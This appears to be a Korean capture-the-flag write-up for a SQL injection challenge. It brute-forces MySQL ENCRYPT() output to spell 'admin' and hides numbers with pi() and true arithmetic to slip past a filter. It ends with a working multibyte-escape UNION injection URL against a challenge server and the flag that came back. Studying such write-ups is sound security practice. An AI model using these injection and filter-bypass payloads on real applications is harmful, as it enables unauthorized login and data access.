encryption-functions from mysql.com
-
ENCRYPT(x) 시 확률상 문제를 풀 수 없지만, salt 값을 설정하면 첫번째 몇 글자 정도는 같게 되므로 확률이 굉장히 줄어듬.
-
ENCRYPT(x,y) 출력시 나오는 값은
A-Za-z0-9./
로 이루어져있어서 확률상 어렵지만, 문제에서strtolower($var)
로 인해 확률이 2차적으로 줄어들음.
아래는 그 트릭을 이용한 코드임.
require "query.php";
$a = new Query();
$a->connect('localhost', 'test', 'test', 'test');
for($i=0; $i<999999; $i++){
// ENCRYPT($i, 'ad')
$d = $a->query('SELECT ENCRYPT('.$i.', "ad") AS cry',1)['cry'];
$d = substr($d,0,5);
if(strtolower($d) === "admin"){
echo $i . '<<<';
exit;
}
}
위 코드 실행시,
root@stypr:~/pwn# php index.php
26752<<<
여기서 26752는
26752 = 2^14 + 2^13 + 2^11 + 2^7
uuid()
함수를 사용하면됨. 매번 함수 호출시 0-9a-d
값이 나오니까 ad
라는 값을 mid()
함수로 2글자만 추출해낸다고 가정했을때 많이 안돌려도 나온다는 소리임.
1. 2^14 + 2^13 + 2^11 + 2^7
2. x=pow(true+true,round(pi()*pi()+true+pi()))+ // 2^14
pow(true+true,round(pi()*pi()+pi()))+ // 2^13
pow(true+true,round(pi()*pi()+true))+ // 2^11
pow(true+true,round(pi()*pi()-pi())) // 2^7
3. mid(encrypt(x, 'ad'),1,5)
4. mid(encrypt(x, mid(uuid(),pi(),pi()),true,pi()+pi()-true); // encrypt(x,mid(uuid(),3,3)),1,5
위 공식을 이용한 쿼리는 아래와 같음. 출력은 admIn
임.
select mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true);
....
MySQL [(none)]> select mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true);
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| mid(encrypt(pow(true+true,round(pi()*pi()+true+pi()))+pow(true+true,round(pi()*pi()+pi()))+pow(true+true,round(pi()*pi()+true))+pow(true+true,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()+pi()-true) |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admIn |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
....
###최종 결과
urlencode 한번 해주고 아래 페이지 몇번 들어가면 답이 나옴.
http://52.78.77.229/?id=%bf\&pw=||id+union+select+mid(encrypt(pow(true%2btrue,round(pi()*pi()%2btrue%2bpi()))%2bpow(true%2btrue,round(pi()*pi()%2bpi()))%2bpow(true%2btrue,round(pi()*pi()%2btrue))%2bpow(true%2btrue,round(pi()*pi()-pi())),mid(uuid(),pi(),pi())),true,pi()%2bpi()-true),null,null--+-
아래는 귀찮아서 코드로 얻어낸 답임.
login as admin kkk<br/>your id : 3fgJU
root@stypr:~/pwn# python k.py
login as admin kkk<br/>SECU[mathboy7_is_very_handsome]
root@stypr:~/pwn# python k.py
login as admin kkk<br/>your id : 18pMI
FLAG: SECU[mathboy7_is_very_handsome]